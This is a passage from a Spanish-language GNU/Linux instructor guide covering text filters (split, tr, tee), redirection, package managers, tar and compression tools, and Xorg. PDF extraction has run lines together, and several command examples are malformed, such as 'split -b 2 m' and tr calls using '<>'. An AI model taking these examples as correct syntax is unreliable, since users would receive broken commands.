Divide el archivo /etc/passwd en archivo de 5 líneas cada uno y que sus nombres comiencen con Fcld.txt[francisco@server ~]$ split -l 5 /etc/passwd

Copie passwd de /etc/passwd a su directorio actual y luego córtelo en pedazos de 2 megabytes[francisco@server ~]$ split -b 2 m passwd nucleo.txt

Divida el archivo /etc/passwd en archivo que contenga lineas que tengan un volumen de 2 kilobytes.[francisco@server ~]$ split -C 2k passwd

3.11 tac

El comando tac muestra lineas por linea en pantalla un archivo, empezando por la ultima linea y terminando por la primera se pudiera decir que es el inverso de cat.

Visualice el archivo Fundacion.txt que usted creo en reverso[francisco@server ~]$ tac Fundacion.txt

Visualice el log del sistema con los mensajes mas viejos que fueron generados [francisco@server ~]$ tac /var/log/messages

3.12 tr

tr es un filtro que nos permite cambiar una determinada información de un archivo por otra. En otras palabras TRADUCE.

Cambia cada uno de los caracteres especificados en el conjunto inicial por los caracteres especificados en el conjunto final.

El archivo de origen o archivo destino lo especificamos con los caracteres de redirección: < ó >.

Veamos un par de ejemplos:zxguitar@zxlaptop:~$ tr A-Z a-zHOLA MUNDO (presione la tecla enter)hola mundo

zxguitar@zxlaptop:~$ tr -d [=A=]HOLA MUNDO (presione la tecla enter)HOL MUNDO

zxguitar@zxlaptop:~$ tr ':' ' ' < /etc/passwd > archivopasswdzxguitar@zxlaptop:~$ tr '[a-z]' '[A-Z]' <> listaalumnosmayusculaszxguitar@zxlaptop:~$ tr ' ' '\n' <> lineasusuarioszxguitar@zxlaptop:~$ tr -s " " <> prueba2

Diplomado de GNU/Linux45

Page 46: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Parámetros útiles:•-s : Sustituye un conjunto de caracteres repetidos por uno sólo. Es muy útil cuando hay secuencias de caracteres que queremos borrar:tr -s " " <> archivo-destino•-c : Hace que se traduzcan todos los caracteres que no se encuentren especificados en el primer parámetro. En el siguiente ejemplo se traduce por una ? todo lo que no sean letras o números.tr -c '[a-z][A-Z][0-9]' ? <> archivo-destino•-d : Borra los caracteres que especifiquemos.tr -d '[a-z][0-9]' ? <> archivo-destinoOtro ejemplo práctico que uso en ocasiones cuando quiero conseguir una lista, convirtiendo los caracteres de nueva línea en espacios:1.tr '\n' ' ' < /etc/pkgsync/musthave > listaenunasolalinea

3.13 tee

El utilitario tee envía salida simultáneamente a un archivo y a la salida estándar, la cual puede ser la pantalla o una tubería a otro comando

Hagamos que la salida de “ls -l” salga tanto a pantalla como un archivo y luego veamos que el archivo tenga el contenido[root@server ~]# ls -l | tee codigos.txt

Visualicemos el log de inicio del sistema y vamos a guardarlo en un archivo llamado logsys.txt[root@server ~]# dmesg | tee logsys.txt

Guardar en un archivo llamado modulos.txt todos los módulos de tu pc y visualizarlo en pantalla.[root@server ~]# lsmod | tee modulos.txt

3.14 xargs

El comando xargs pasa argumentos de un comando a otro comando además el permite que se puedan procesar mas comando.

Usando split divida el archivo /etc/passwd en archivo de 2 kilobyte y luego comprobemos que cada uno tiene 2 kilobyte.

[root@server ~]# split -b 2k /etc/passwd[root@server ~]# ls archivo_dividido | xargs du -sch

3.15 Redireccionamiento Entrada y salida

Cada proceso en Linux (incluidos los comandos Bash) abre tres archivos estándar: entrada estándar (stdin), salida estándar (stdout) y error estándar (stderr). Los programas utilizan estos archivos del modo siguiente: 0. La entrada estándar es el lugar desde el cual el programa lee su entrada. Por defecto, stdin es el teclado. 1. La salida estándar es el lugar donde el programa graba su salida. Por defecto,

Diplomado de GNU/Linux46

Page 47: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

stdout en la pantalla del terminal. 2. El error estándar es el lugar donde el programa escribe sus mensajes de error. Por defecto, stderr es la pantalla del terminal. stdin, stdout y stderr se corresponden con los archivos /dev/stdin, /dev/stdout, /dev/stderr. Además, también tienen una correspondencia con los números 0, 1 y 2 respectivamente.

Redireccionando stdout

El shell permite redireccionar la salida estándar de un proceso desde la pantalla (el valor por defecto) a un archivo. Desviar la salida permite almacenar el texto generado por un comando en un archivo. En su forma más sencilla, la sintaxis de comando es la siguiente: zxguitar@zxlaptop:~$ comando > archivo-salida

donde comando es el comando cuya salida se desvía y archivo-salida es el nombre del archivo en el que el proceso graba su salida estándar. Si el archivo de salida existe, se pierde el contenido que tuviera anteriormente. Si el archivo no existe, se crea. Para que la salida se adjunte al final de un archivo existente, se utilizan dos signos “mayor que” (>>) que señalen el archivo al que haya de adjuntarse.

Redireccionando stdin

El shell permite desviar la entrada estándar de un proceso para que la entrada se lea desde un archivo en lugar de desde el teclado. Para desviar la entrada de un proceso, se separa el comando y el nombre del archivo de entrada con un signo menor que (<) apuntando al nombre del comando. Se puede utilizar el desvío de la entrada con cualquier comando que acepte la entrada desde el archivo stdin (el teclado). En su forma más sencilla, la sintaxis de comando es la siguiente: comando < archivo-entradadonde comando es el comando cuya entrada se desvía y archivo-entrada es el nombre del archivo a partir del cual el proceso lee la entrada estándar. El archivo debe existir para que el desvío se lleve a cabo con éxito. Se puede desviar tanto la entrada estándar como la salida estándar de un comando. No obstante, no se debe utilizar el mismo nombre de archivo para la entrada estándar y la salida estándar, puesto que el contenido original del archivo de entrada se perdería.

Tuberías

El shell permite conectar dos o más procesos para que la salida estándar de un proceso se utilice como la entrada estándar para otro proceso. La conexión que une los procesos es una tubería. Para canalizar la salida de un proceso en otro, se separan los comandos con una barra vertical (|). La sintaxis general es la siguiente: zxguitar@zxlaptop:~$ comando1 | comando2

donde comando1 es el comando cuya salida estándar se desvía o canaliza a otro comando, y comando2 es el comando cuya entrada estándar lee la salida del comando anterior. Se puede combinar dos o más comandos en una sola tubería. /dev/null/dev/null es un archivo que sirve como basurero. Nos puede ser útil para cuando queramos despreciar la salida de un comando, que ni salga por pantalla ni que se quede escrito en un archivo, simplemente que se pierda: zxguitar@zxlaptop:~$ cat mimayorarchivo > /dev/null

Diplomado de GNU/Linux47

Page 48: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Una ventaja de /dev/null con respecto a los basureros físicos es que nunca se llena por lo que podemos "arrojarle" toda salida que queramos despreciar.

Redireccionando stderr

Para redireccionar la salida de errores basta con recordar que stderr está asociado al número 2. Por ello, la sintaxis del redireccionamiento sería: zxguitar@zxlaptop:~$ comando 2> archivo

Diplomado de GNU/Linux48

Page 49: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

GNU/Fundamentos

0.0 Instalación de Paquetes rpm y deb 0.1 Instalación y Desinstalación con rpm 0.2 Instalación y Desinstalación con deb 0.3 Manejadores de paquetes gráficos y de consola 0.4 Administración de Paquetes 0.5 Tipos de paquetes (rpm,deb,targz) 0.6 Actualizar paquetes 0.7 Forzando paquetes 0.8 Dependencias 0.9 Cuestionar y Verificar paquetes 0.10 Comando tar 0.11 Paquetes tar.gz 0.12 gzip gunzip bzip2 bunzip2 zcat compress cpio afio 0.13 Compilando desde el fuente 0.14 Construyendo paquetes 0.15 Practica Fundamentos Capitulo 0

1.0 Sistema X Window 1.1 Servidor X 1.2 Xorg 1.3 Protocolo X 1.4 Administradores de Ventana 1.5 Entornos Gráficos 1.6 Display Manager 1.7 Escritorio Remoto1.8 Manejo Desktop1.9 Editores Vi y Emacs 1.10 Practica Fundamentos Capitulo 1

Diplomado de GNU/Linux49

Page 50: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Fundamentos

0.0 Instalación de Paquetes rpm y deb

Un paquete es una colección de archivos que conforman un software, dicho paquete contiene información sobre si mismo, es decir su contenido, y que otros paquetes son necesarios para su correcto funcionamiento.

RPM es una forma simple de instalar aplicaciones dinámica o estáticamente compiladas, RPM o Redhat Package Manager, permite instalar, desinstalar, buscar, etc, aplicativos con extensión y formato rpm. RPM es el estándar para distribuciones como Redhat, Suse, Mandriva, entre otras.

La gestión de paquete para distribuciones Debian se realizan con los manejador dpkg (Debian PacKaGe). En el nivel de línea de comandos dispone de dpkg, que es el comando de más bajo nivel, para gestionar directamente los paquetes DEB de software Pueden realizarse todo tipo de tareas, de información,instalación, borrado o cambios internos a los paquetes de software.

0.1 Instalación y Desinstalación con rpm

Los paquetes .rpm son los más comúnmente utilizados en las distribuciones linux, es manipulado por el comando rpm, al cual se le pasan opciones para su instalación o desinstalación, los paquetes rpm contienen dependencias, las cuales pueden resolverse utilizando el administrador de paquetes yum.RedHat/Fedorarpm -ivh mozilla-mail-1.7.5-17.i586.rpm Instalarpm -Uvh mozilla-mail-1.7.6-12.i586.rpm Actualiza/Instalarpm -ev mozilla-mail Desinstala

También podemos instalar un rpm que este en la web, de la siguiente manera.rpm -ivh ftp://ftp.redhat.com/pub/redhat/rh-2.0-beta/RPMS/foobar-1.0-1.i386.rpm

Nota: La “i” significa INSTALAR, la “v” significa VERVOSE o Detalles y la “h” significa hash(barra de progreso).rpm -qa Te lista los paquetes instalados en el sistema.rpm -qi mozilla-mail Informa sobre el paquete instaladorpm -qf /bin/ls Te informa a que paquete pertenece “ls”.rpm -qpi webmin-1.510-1.noarch.rpm Te da información sobre el paquete especificorpm -qpl webmin-1.510-1.noarch.rpm Te dice los archivos que instalara el paquete.rpm -ql webmin-1.510-1 Te dice los archivos que INSTALÓ el paquete.

0.2 Instalación y Desinstalación con deb

Los paquetes .deb son hechos para las distribuciones Basadas en Debian, para instalarlos o desinstalarlos se utiliza la instrucción dpkg, si requiere de ciertas dependencias, se utiliza la herramienta apt.Debian/Ubuntudpkg -i zip_2.31-3_i386.deb Instala/Actualizadpkg -r zip Desinstaladpkg -R /tmp/downloads Instala recursivamente TODOS los paquetes en un dir.

Diplomado de GNU/Linux50

Page 51: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

dpkg -l Lista los paquetes instaladosdpkg -l apache-perl Lista el paquete con una corta descripcióndpkg -L apache-perl Lista los archivos copiados por el paquete(instalado)dpkg -c dc_1.06-19_i386.deb Lista los archivos dentro del paquete(no instalado)dpkg -S /bin/ls Lista el paquete que instalo el comando “ls”dpkg -p lsof Detalles sobre el paquete, versión, mantenedor, etc.

0.3 Manejadores de paquetes gráficos y de consola

Entre los manejadores de paquetes, existen los que hacen su función tanto a nivel gráfico como a nivel de texto, como son: aptitude (modo texto)apt (modo texto) Synaptic (Modo gráfico, usa apt debajo) Yumex (Modo gráfico para rpms)

Alien: convierte paquetes de .deb a .rpm y viceversa, esto lo usamos cuando no tenemos un paquete disponible para nuestra distro y esta disponible para otra.

0.4 Administración de Paquetes

Existe lo que se define mantener los paquetes de acuerdo a sus manejadores correspondientes, ya sea instalación, consulta o desinstalación.

Esta tarea se realiza de distintas formas según la distribución y también desde la perspectiva de la conexión, si es local o en red.

La parte local de la administración la vimos en el punto 0.1 y 0.2

La administración de paquetes en red, la veremos como anteriormente, Debian/Ubuntu y Redhat/Fedora.Debian/Ubuntuapt-get install paqueteapt-get remove paqueteapt-get purge paqueteapt-cache search paqueteapt-cache show paqueteapt-get updateapt-get upgrade paquete

Es el siguiente archivo se encuentra la lista de los repositorios, es decir, un listado de direcciones de donde se descargan los paquetes que se consulten./etc/apt/sources.list

RedHat/Fedorayum install paqueteyum remove paqueteyum search paqueteyum updateyum update paquete

En este directorio se hallan los archivos de los repositorios, /etc/yum/repos.d/

Diplomado de GNU/Linux51

Page 52: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

0.5 Tipos de paquetes (rpm, deb, targz)

Los Paquetes RPM son los que pertenecen a las distribuciones basadas en Red Hat, su objetivo se concentraba en estandarizarlos para su uso en cualquier distribución GNU/Linux.Los paquetes DEB, son los que corresponden a los sistemas basados en Debian, desarrollada por voluntarios en concentrarse en la filosofía Libre de GNU.Los paquetes TAR.GZ o TGZ, son los que se distribuyen desde el código fuente, para luego ser compilados, el formato TGZ es exclusivo de las distribuciones basadas en Slackware, precompilados para ser usados por PKGTOOL

0.6 Actualizar paquetes

Los paquetes en las diferentes distribuciones de GNU/Linux, pueden ser actualizados por dicho manejador, con la finalidad de ofrecer actualizaciones de seguridad o que haya una nueva versión de los paquetes.Debian/Ubuntuapt-get updateapt-get upgrade paquete

RedHat/Fedorayum updateyum update paquete

0.7 Forzando paquetes

Es posible forzar la instalación de un paquete cuando este requiere de dependencias con la opción --nodeps para dpkg y --force para rpm, pero hay que tomar en cuenta que con esta acción no se garantiza el correcto funcionamiento del paquete

rpm -Uvh paquete.rpm --force rpm -ivh paquete.rpm –ignore-depsdpkg -i paquete.deb --nodeps

0.8 Dependencias

Las dependencias son requerimientos previos de otros paquetes para garantizar el correcto funcionamiento del paquete final, su cantidad puede variar dependiendo del programa a instalar.

0.9 Cuestionar y Verificar paquetes

Es posible verificar los paquetes instalados en el sistema, como también cuestionar su contenido y las dependencias que dicho paquete requiere.RedHat/Fedorarpm -qa Consulta la DB de los paquetes instalados

Debian/Ubuntudpkg -l Consulta la DB de los paquetes instaladosdpkg -s paquete Te da información adicional del paquete

0.10 Paquetes tar.gz

Los paquetes tar.gz son creados en forma no binaria, para ser compilado de acuerdo a un

Diplomado de GNU/Linux52

Page 53: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

parámetro de configuración, esto sucede cuando la aplicación no esta disponible en alguna distribución ya porque sea recientemente creado por una comunidad emergente.

installpkg package.tgzremovepkg package.tgzupgradepkg package.tgz

0.11 Comando tar

Este comando es importante para manejar los paquetes .tar, ya que con este se pueden empaquetar folders para luego ser comprimidos, se le llaman “tarballs”, se usan para ahorrar espacio o para hacer copias de seguridad (backups) tar -cvf archivo.tar /ruta/ Empaqueta a “/ruta/” en “archivo.tar”tar -xvf archivo.tar -C /ruta/ Desempaqueta a “archivo.tar” en la ruta “/ruta/”tar -tvf archivo.tar Visualiza el contenido sin desempaquetartar -xvf archivo.tar /ruta/al/archivo Desempaqueta el archivo llamado “archivo”.tar -xvf archivo.tar /ruta/al/dir/ Desempaqueta el directorio llamado “dir”.tar -rvf archivo.tar archivo-nuevo incluye el archivo “archivo-nuevo” al “.tar”tar -rvf archivo.tar Public/ incluye el directorio “Public/” al “.tar”Nota: No se pueden agregar mas archivos o directorios a un archivo ya compreso.

Se puede además comprimir a vuelo mientras se empaqueta (son dos procesos distintos). Lo hacemos de la manera siguiente.tar -cvzf archivo.tar.gz /ruta/ Comprime a “/ruta/” en “archivo.tar.gz”tar -cvjf archivo.tar.bz2 /ruta/ Comprime a “/ruta/” en “archivo.tar.bz2”tar -tvzf archivo.tar.gz Visualiza el contenido sin descomprimirtar -tvjf archivo.tar.bz2 Visualiza el contenido sin descomprimirtar -xvzf archivo.tar.gz -C /ruta/ Descomprime a “archivo.tar.gz” en “/ruta/”tar -xvjf archivo.tar.bz2 Descomprime a “archivo.tar.bz2” en donde esta.tar -xvzf archivo.tar.gz /ruta/al/archivo Descomprime el archivo llamado “archivo”.tar -xvjf archivo.tar.bz2 /ruta/al/archivo Descomprime el archivo llamado “archivo”.tar -xvzf archivo.tar.gz /ruta/al/dir/ Descomprime el directorio llamado “dir”.tar -xvjf archivo.tar.bz2 /ruta/al/dir/ Descomprime el directorio llamado “dir”.tar -xvzf archivo.tar.gz /ruta/al/dir1/ /ruta/al/dir2/ Descomprime varios directorios.tar -xvjf archivo.tar.bz2 /ruta/al/dir1/ /ruta/al/dir2/ Descomprime varios directorios.tar -xvzf archivo.tar.gz --wildcards '*.conf' Descomprime solo los archivos “.conf”tar -xvjf archivo.tar.bz2 --wildcards '*.conf' Descomprime solo los archivos “.conf”tar -czf - /dir/to/archive/ | wc -c Estimar cuanto pesara una compresión “tar.gz”tar -cjf - /dir/to/archive/ | wc -c Estimar cuanto pesara una compresión “tar.bz2”

0.12 gzip gunzip bzip2 bunzip2 zcat compress cpio afio

gzip gzip es una abreviatura de GNU ZIP, un software libre GNU que reemplaza al programa compress de UNIX. gzip fue creado por Jean-loup Gailly y Mark Adler. Apareció el 31 de octubre de 1992 (versión 0.1). La versión 1.0 apareció en febrero de 1993.gzip se basa en el algoritmo Deflate, que es una combinación del LZ77 y la codificación Huffman. Deflate se desarrolló como respuesta a las patentes que cubrieron LZW y otros algoritmos de compresión y limitaba el uso del compress. No se debe confundir gzip con ZIP, el cual no es compatible. gzip SÓLO COMPRIME ARCHIVOS, pero no los empaqueta. Debido a esto a menudo se usa junto

Diplomado de GNU/Linux53

Page 54: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

con alguna herramienta para empaquetar (regularmente tar).

Para comprimir un archivo basta con ejecutar el siguiente comando.zxguitar@zxlaptop:~$ gzip archivo.txtzxguitar@zxlaptop:~$ lsarchivo.txt.gz

Observe que no hay que ponerle extensión como en el caso de “tar”, el la toma automáticamente.También podemos ver información sobre el nivel de compresión de un archivo ejecutando el comando con la opción “-l”.zxguitar@zxlaptop:~$ gzip -l gzip archivo.txt.gz compressed uncompressed ratio uncompressed_name 91918 275744 66.7% archivo.txt

Podemos comprimir a niveles distintos, es decir, rápido(menos compresión) o lento(mas compresion)... Ejemplo:zxguitar@zxlaptop:~$ gzip -n1 archivo.txt #Mucha velocidad, poca compresiónzxguitar@zxlaptop:~$ gzip -n9 archivo.txt #Mucha compresión, poca velocidad

Para esta tarea es posible 9 niveles, del 1 al 9.

gunzipEsta es la herramienta que permite descomprimir en GNU/Linux y UNIX, al igual que su contrario, gzip, solo descomprime archivos, este concepto se puede aclarar mejor viendo la sección del comando “tar” en el punto anterior.

zxguitar@zxlaptop:~$ gunzip archivo.txt.gz

Nota: Es bueno aclarar que cuando se comprime o descomprime con estas herramientas, no se hace copia del archivo, es decir, literalmente el archivo se convierte de normal a comprimido y viceversa.

zcatMuestra el contenido de un archivo comprimido (.gz).Es exactamente igual al cat, sólo que en su modo comprimido, es decir, si se desea mantener el archivo en su formato de compresión pero quiere utilizar los datos del archivo. Por ejemplo si se ha comprimido una lista de nombres y direcciones almacenadas en un archivo llamado namelist, el archivo comprimido se llama namelist.gz.zxguitar@zxlaptop:~$ zcat namelist.gz

bzip2bzip2 es un programa libre desarrollado bajo licencia BSD que comprime y descomprime archivos usando los algoritmos de compresión de Burrows-Wheeler y de codificación de Huffman. El porcentaje de compresión alcanzado depende del contenido del archivo a comprimir, pero por lo general es bastante mejor al de los compresores basados en el algoritmo LZ77/LZ78 (gzip, compress, WinZip, pkzip,...). Como contrapartida, bzip2 emplea más memoria y más tiempo en su ejecución.La sintaxis es parecida a la del programa gzip de GNU.

Ejemplos:

Diplomado de GNU/Linux54

Page 55: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Comprime archivo generando archivo.bz2 y borrando el original.zxguitar@zxlaptop:~$ bzip2 archivo

Cualquiera de las dos instrucciones siguientes, descomprime el archivo.bz2, generando archivo. El original se pierde.zxguitar@zxlaptop:~$ bzip2 -d archivo.bz2zxguitar@zxlaptop:~$ bunzip2 archivo.bz2

Mantiene el archivo originalzxguitar@zxlaptop:~$ bzip2 -k ...

Comprime el archivo a la salida estándar (stdout). Está pensado para usar en redirecciones o en tuberías.zxguitar@zxlaptop:~$ bzip2 -c archivo

Descomprime el archivo de nombre archivo.tar.bz2 y el resultado se le pasa a la entrada estándar (stdin) de la instrucción tar, que muestra un listado del contenido.zxguitar@zxlaptop:~$ bzip2 -dc archivo.tar.bz2 | tar tf -

bunzip2Este comando es la contra-parte de bzip2, sirve para descomprimir archivos. Su sintaxis es bien sencilla y al igual que bzip2, al descomprimir, el archivo original es eliminado.zxguitar@zxlaptop:~$ bunzip2 archivo.bz2

Note: Si navegando por ahí encuentras archivos con la extensión “.tbz” y “.tb2” es lo mismo que “.tar.bz2”.

gzip vs bzip2: bzip2 toma mas tiempo para comprimir y descomprimir que gzip. El tamaño del archivo bzip2 es menor que gzip.

compressEste paquete proporciona los programas originales que son el estándar de facto, en gran parte de la comunidad UNIX, para comprimir y descomprimir archivos. Los programas implementan un algoritmo de compresión LZW rápido de un solo archivo. El algoritmo LZW no tiene una compresión tan alta como otros algoritmos, pero las implementaciones de LZW como esta a veces comprimen los archivos más rápido que otros programas similares, como gzip.Cabe mencionar que la extensión de estos archivos es “.Z”

Para Debian, el programa de descompresión estándar está instalado como uncompress.real.Para comprimir solo basta con ejecutar lo siguiente.zxguitar@zxlaptop:~$ compress archivo

Para descomprimir lo hacemos de la siguiente manera.zxguitar@zxlaptop:~$ uncompress archivo.Z

cpioEl comando cpio sirve para copiar o extraer archivos a un contenedor “.cpio” . Este es un archivo que contiene archivos y permisos que fueron almacenados. El contenedor se puede guardar en una unidad de cinta, en el disco o simplemente en un archivo de texto

Diplomado de GNU/Linux55

Page 56: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

como ahora les voy a demostrar.

Con este comando lo que estamos haciendo es un backup del home del usuario, vamos parte por parte así entendemos como funciona.

zxguitar@zxlaptop:~$ find /home/zxguitar |cpio -o > backup.cpio

find /home/zxguitar = lista todos los archivos y se los pasa por stdin a cpiocpio -o > backup.cpio = almacena en un archivo backup.cpio todos los archivos listados

Para mas información “man cpio”

Ahora veamos algunas de las opciones:

-o = Copiar archivos a un contenedor-t = Lista el contenido de un contenedor-i = Extrae archivos del contenedor-v = Modo verbose-m = Conserva fecha y hora de los archivos-A = Añade archivos a un contenedor existente

Algunos detalles a tener en cuenta es que use find y no ls, porque ls no muestra la ruta completa, muestra solo el nombre del archivo.

Si queremos listar el contenido de un contenedorzxguitar@zxlaptop:~$ cpio -t < backup.cpio

Si deseamos extraer todos los archivos de un contenedorzxguitar@zxlaptop:~$ cpio -i < backup.cpio

Si queremos solo extraer por ejemplo un archivozxguitar@zxlaptop:~$ echo "/home/beagle/Documentos.txt" |cpio -i < backup.cpio

Con esto le pasamos que archivo es el que vamos a descomprimir, por ejemplo Documentos.txt

afioVariación de cpio, con varias mejoras:

• Permite hacer copias multivolumen• Permite archivar los archivos comprimiéndolos de uno en uno

• No comprime los archivos que no interesa comprimir por que ya lo están (reconoce por extensión)

• Permite verificar la copia con el original (opción -r)

Modos de funcionamiento similares a cpio• -o guarda a archivo, -i extrae de un archivo y -p copia directorios• otras opciones: -r verifica el archivo con el filesystem; -t muestra el contenido

del archivo• Ejemplos:

• Salvar a disquete multivolumen comprimido$ find . | afio -ov -s 1440k -F -Z /dev/fd0

Diplomado de GNU/Linux56

Page 57: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

• Comprobar con el original una copia comprimida en varios disquetes$ afio -rv -s 1440k -F -Z /dev/fd0

• Muestra el contenido del archivo:$ afio -tv -s 1440k -F -Z /dev/fd0

• Extrae el contenido del archivo$ afio -iv -s 1440k -F -Z /dev/fd0

• Copia los archivos del directorio actual y subdirectorios a un nuevo directorio new-dir$ find . -depth -print0 | afio -p0xa directorio_nuevo

• Para mas opciones ver la página de manual

0.13 Compilando desde el fuente

Como se explica en el punto 0.10, una vez extraído el contenido del paquete tar.gz, se le pasan parámetros para configurar en entorno de acuerdo a un prefijo o variable definida, luego se procede a compilar el paquete, nótese que existen diferentes compiladores (gcc, g++,jre, entre otros), estos paquetes vienen con su guía documentada de como instalar, una vez se haya terminado la compilación, se procede a su instalación en el sistema

./configuremake allmake installmake clean

0.14 Construyendo paquetes

Es posible construir paquetes a partir de un archivo src-.rpm y un .spec (como es el caso de redhat) para generar un paquete final de acuerdo a la arquitectura. rpmbuild -bb archivo.spec paquete.rpm

rpmbuild -bt archivo.spec paquete.tar.gz

0.15 Practica Fundamentos Capitulo 0

Esta es una practica que abarca todo lo impartido en el capitulo 0 del nivel fundamentos.

1.0 Sistema X Window X Window System (en español sistema de ventanas X) es un software que fue desarrollado a mediados de los años 1980 en el MIT para dotar de una interfaz gráfica a los sistemas Unix. Este protocolo permite la interacción gráfica en red entre un usuario y una o más computadoras haciendo transparente la red para éste. Generalmente se refiere a la versión 11 de este protocolo, X11, el que está en uso actualmente. X es el encargado de mostrar la información gráfica de forma totalmente independiente del sistema operativo. X fue diseñado primariamente para implementar clientes ligeros, donde mucha gente usaba simultáneamente la capacidad de procesamiento de un mismo computador trabajando en tiempo compartido. Cada persona usaba un terminal en red que tenía capacidades limitadas para dibujar la pantalla y aceptar la entrada del usuario. Debido a la ubicuidad del soporte para el software X en Unix, es usado en los computadores personales incluso cuando no hay necesidad del tiempo compartido.

Diplomado de GNU/Linux57

Page 58: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

El sistema de ventanas X distribuye el procesamiento de aplicaciones especificando enlaces cliente-servidor. El servidor provee servicios para acceder a la pantalla, teclado y ratón, mientras que los clientes son las aplicaciones que utilizan estos recursos para interacción con el usuario. De este modo mientras el servidor se ejecuta de manera local, las aplicaciones pueden ejecutarse remotamente desde otras máquinas, proporcionando así el concepto de transparencia de red. Debido a este esquema cliente-servidor, se puede decir que X se comporta como un terminal gráfico virtual. El hecho que exista un estándar definido para X permite que se desarrollen servidores X para distintos sistemas operativos y plataformas, lo que hace que el código sea muy portable. Por ejemplo, permite tener clientes X ejecutándose en un potente servidor UNIX y/o GNU/Linux mientras los resultados son visualizados en una PC de escritorio con cualquier otro sistema operativo funcionando.

1.1 Servidor X X usa el modelo cliente-servidor: un servidor X se comunica con varios programas cliente. El servidor acepta los pedidos para la salida gráfica (ventanas) y devuelve la entrada del usuario (desde el teclado, del ratón, o de la pantalla táctil). El servidor puede funcionar así:

• una aplicación exhibiendo hacia una ventana de otro sistema de visualización• un programa del sistema controlando la salida vídeo de una PC• una pieza de hardware dedicada

Esta terminología de cliente servidor - el terminal de usuario siendo el servidor y las aplicaciones siendo los clientes - a menudo confunde a nuevos usuarios de X, porque los términos parecen invertidos. Pero X toma la perspectiva de la aplicación, en vez de la del usuario final: X proporciona la exhibición por pantalla y los servicios de entrada/salida a las aplicaciones, así que es un servidor; las aplicaciones usan estos servicios, por lo tanto son los clientes.El protocolo de comunicaciones entre el servidor y el cliente opera transparente a la red: el cliente y el servidor pueden correr en la misma o en diferentes máquinas, posiblemente con diferentes arquitecturas y sistemas operativos. Un cliente y un servidor pueden incluso comunicarse con seguridad sobre Internet haciendo una conexión de túnel sobre una sesión cifrada de la red.Un cliente X puede emular un servidor X proporcionando servicios de exhibición a otros clientes. Esto es conocido como "X nesting" (anidado X). Los clientes de código abierto tales como Xnest y Xephyr soportan el X nesting.Para utilizar un programa de cliente X sobre una máquina remota, el usuario hace lo siguiente:

• En la máquina local, abrir una ventana de terminal• usar telnet o ssh para conectarse con la máquina remota• solicitar el servicio local de pantalla/entrada (ej., export DISPLAY=[user's

machine]:0 si no se está usando SSH con X tunneling activado)El cliente X remoto entonces hará una conexión al servidor X local del usuario, proporcionando la exhibición por pantalla y la entrada.Alternativamente, la máquina local puede correr un pequeño programa que se conecte con la máquina remota y comience la aplicación cliente.Ejemplos prácticos de clientes remotos incluyen:

• administrando una máquina remota gráficamente• corriendo una simulación de cómputo intensivo en una máquina Unix remota y

mostrando los resultados por pantalla en una de escritorio Windows• correr software gráfico en varias máquinas al mismo tiempo, controlados por una

Diplomado de GNU/Linux58

Page 59: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

sola pantalla, teclado y ratón.

1.2 Xorg

X.Org Server (comúnmente conocida como Xorg Server o simplemente como Xorg) es una implementación de código abierto del sistema X Window System, que surge como bifurcación de proyecto XFree86. La primera versión del servidor X.Org (incluida en X11R6.7.0), partió del código de XFree86 4.4 RC2, debido a un cambio de licencia producido en febrero del 2004 (anteriormente se distribuía bajo la licencia MIT, y la nueva licencia presenta incompatibilidades con la GNU General Public License). Varios de los anteriores desarrolladores de XFree86, como Keith Packard, se sumaron al proyecto, ya que se gestiona de una forma más abierta que XFree86. El proyecto corre bajo el auspicio de la X.Org Foundation y se encuentra alojado en freedesktop.org. La ultima versión de X Window System es la X11R7.5

Xorg es una implementación libre del sistema gráfico de ventanas X, que surgió como una bifurcación de XFree86 después de un cambio de licencia que muchos consideran incompatible con la Licencia Pública General (GPL). XOrg ha sido adoptada por la mayoría de las distribuciones GNU de Linux.

A partir de Lenny, XOrg hace una configuración automática de dispositivo, monitor y periferias. En la mayoría de los casos no es necesario configurar nada; basta con instalar un paquete Debian(La Mayoría de veces YA ESTA INSTALADO).

Instalación de Xorg

Ingresa a root.Instala el paquete xorg con,# apt-get install xorgEste es un meta paquete que, usando el sistema de dependencias, instala un conjunto de paquetes X11, como el servidor XOrg, dispositivos de vídeo y periferias, un conjunto de tipos de letras y herramientas básicas.Para usar el servidor es necesario instalar un entorno de escritorio. Existen varios, los más usados siendo GNOME y KDE.

Configuración de X

Xorg no era capaz de detectar automáticamente el hardware. Para esos casos había que poner a punto la configuración a mano.El archivo,/var/log/Xorg.0.logcontiene un registro y puede ayudar a determinar que es exactamente lo que falla. Busca en particular la líneas que comienzan con (EE), lo que indica un error. En este archivo existe registrado todos los dispositivos cargados automáticamente por XOrg, basándose en la detección del hardware.A continuación explicaremos paso a paso la configuración de XOrg, en caso el servidor X no levante.El archivo,/etc/X11/xorg.confcontiene la configuración de XOrg y está dividido en secciones:Files # Ruta de los archivosModule # Módulos dinámicos

Diplomado de GNU/Linux59

Page 60: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

